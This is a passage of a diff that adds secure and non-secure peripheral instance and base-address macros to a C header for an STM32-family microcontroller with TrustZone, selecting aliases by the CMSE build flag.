TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) + +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *)TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *)TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *)TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *)TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *)TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *)TIM7_BASE_S) +#define TIM12_S ((TIM_TypeDef *)TIM12_BASE_S) +#define WWDG_S ((WWDG_TypeDef *)WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *)IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *)SPI2_BASE_S) +#define SPI3_S ((SPI_TypeDef *)SPI3_BASE_S) +#define USART2_S ((USART_TypeDef *)USART2_BASE_S) +#define USART3_S ((USART_TypeDef *)USART3_BASE_S) +#define UART4_S ((USART_TypeDef *)UART4_BASE_S) +#define UART5_S ((USART_TypeDef *)UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *)I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *)I2C2_BASE_S) +#define I3C1_S ((I3C_TypeDef *)I3C1_BASE_S) +#define CRS_S ((CRS_TypeDef *)CRS_BASE_S) +#define USART6_S ((USART_TypeDef *)USART6_BASE_S) +#define CEC_S ((CEC_TypeDef *)CEC_BASE_S) +#define DTS_S ((DTS_TypeDef *)DTS_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *)LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_S) +#define FDCAN2_S ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *)UCPD1_BASE_S) + +/*!< APB2 secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define SPI4_S ((SPI_TypeDef *) SPI4_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *)USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA2_S ((DMA_TypeDef *) GPDMA2_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA2_Channel0_S ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_S) +#define GPDMA2_Channel1_S ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_S) +#define GPDMA2_Channel2_S ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_S) +#define GPDMA2_Channel3_S ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_S) +#define GPDMA2_Channel4_S ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_S) +#define GPDMA2_Channel5_S ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_S) +#define GPDMA2_Channel6_S ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_S) +#define GPDMA2_Channel7_S ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_S) + + +/*!< AHB2 secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) + +/*!< APB3 secure peripherals */ +#define SBS_S ((SBS_TypeDef *) SBS_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define I3C2_S ((I3C_TypeDef *) I3C2_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) + +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) + +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define FLASH_OBK_BASE FLASH_OBK_BASE_S +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_S +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define APB3PERIPH_BASE APB3PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_S +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define DTS DTS_S +#define DTS_BASE DTS_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA2 GPDMA2_S +#define GPDMA2_BASE GPDMA2_BASE_S + +#define GPDMA2_Channel0 GPDMA2_Channel0_S +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_S + +#define GPDMA2_Channel1 GPDMA2_Channel1_S +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_S + +#define GPDMA2_Channel2 GPDMA2_Channel2_S +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_S + +#define GPDMA2_Channel3 GPDMA2_Channel3_S +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_S + +#define GPDMA2_Channel4 GPDMA2_Channel4_S +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_S + +#define GPDMA2_Channel5 GPDMA2_Channel5_S +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_S + +#define GPDMA2_Channel6 GPDMA2_Channel6_S +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_S + +#define GPDMA2_Channel7 GPDMA2_Channel7_S +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM12 TIM12_S +#define TIM12_BASE TIM12_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define SPI4 SPI4_S +#define SPI4_BASE SPI4_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define CEC CEC_S +#define CEC_BASE CEC_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I3C1 I3C1_S +#define I3C1_BASE I3C1_BASE_S + +#define I3C2 I3C2_S +#define I3C2_BASE I3C2_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define FDCAN2 FDCAN2_S +#define FDCAN2_BASE FDCAN2_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SBS SBS_S +#define SBS_BASE SBS_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#else + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_OBK_BASE FLASH_OBK_BASE_NS +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS + +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS + +#define SRAM3_BASE SRAM3_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM12 TIM12_NS +#define TIM12_BASE TIM12_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define SPI4 SPI4_NS +#define SPI4_BASE SPI4_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define CEC CEC_NS +#define CEC_BASE CEC_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define I3C2 I3C2_NS +#define I3C2_BASE I3C2_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define FDCAN2 FDCAN2_NS +#define FDCAN2_BASE FDCAN2_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST 